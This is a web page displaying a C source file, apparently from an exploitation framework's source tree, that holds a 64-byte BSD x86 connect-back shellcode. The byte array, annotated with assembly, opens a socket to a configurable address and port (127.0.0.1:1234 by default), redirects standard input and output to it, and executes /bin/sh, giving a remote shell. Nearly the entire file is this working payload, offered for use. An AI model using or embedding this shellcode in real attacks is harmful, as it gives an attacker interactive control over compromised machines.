Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/unixasm/bsd-x86-cntsockcode.c
Views: 11766
/*1* bsd-x86-cntsockcode.c2* Copyright 2004 Ramon de Carvalho Valle <[email protected]>3*4* This library is free software; you can redistribute it and/or5* modify it under the terms of the GNU Lesser General Public6* License as published by the Free Software Foundation; either7* version 2.1 of the License, or (at your option) any later version.8*9* This library is distributed in the hope that it will be useful,10* but WITHOUT ANY WARRANTY; without even the implied warranty of11* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU12* Lesser General Public License for more details.13*14* You should have received a copy of the GNU Lesser General Public15* License along with this library; if not, write to the Free Software16* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA17*18*/1920#define CNTSOCKADDR 121#define CNTSOCKPORT 82223char cntsockcode[]= /* 64 bytes */24"\x68\x7f\x00\x00\x01" /* pushl $0x0100007f */25"\x68\xff\x02\x04\xd2" /* pushl $0xd20402ff */26"\x89\xe7" /* movl %esp,%edi */27"\x31\xc0" /* xorl %eax,%eax */28"\x50" /* pushl %eax */29"\x6a\x01" /* pushl $0x01 */30"\x6a\x02" /* pushl $0x02 */31"\x6a\x10" /* pushl $0x10 */32"\xb0\x61" /* movb $0x61,%al */33"\xcd\x80" /* int $0x80 */34"\x57" /* pushl %edi */35"\x50" /* pushl %eax */36"\x50" /* pushl %eax */37"\x6a\x62" /* pushl $0x62 */38"\x58" /* popl %eax */39"\xcd\x80" /* int $0x80 */40"\x50" /* pushl %eax */41"\x6a\x5a" /* pushl $0x5a */42"\x58" /* popl %eax */43"\xcd\x80" /* int $0x80 */44"\xff\x4f\xe8" /* decl -0x18(%edi) */45"\x79\xf6" /* jns <cntsockcode+34> */46"\x68\x2f\x2f\x73\x68" /* pushl $0x68732f2f */47"\x68\x2f\x62\x69\x6e" /* pushl $0x6e69622f */48"\x89\xe3" /* movl %esp,%ebx */49"\x50" /* pushl %eax */50"\x54" /* pushl %esp */51"\x53" /* pushl %ebx */52"\x50" /* pushl %eax */53"\xb0\x3b" /* movb $0x3b,%al */54"\xcd\x80" /* int $0x80 */55;56575859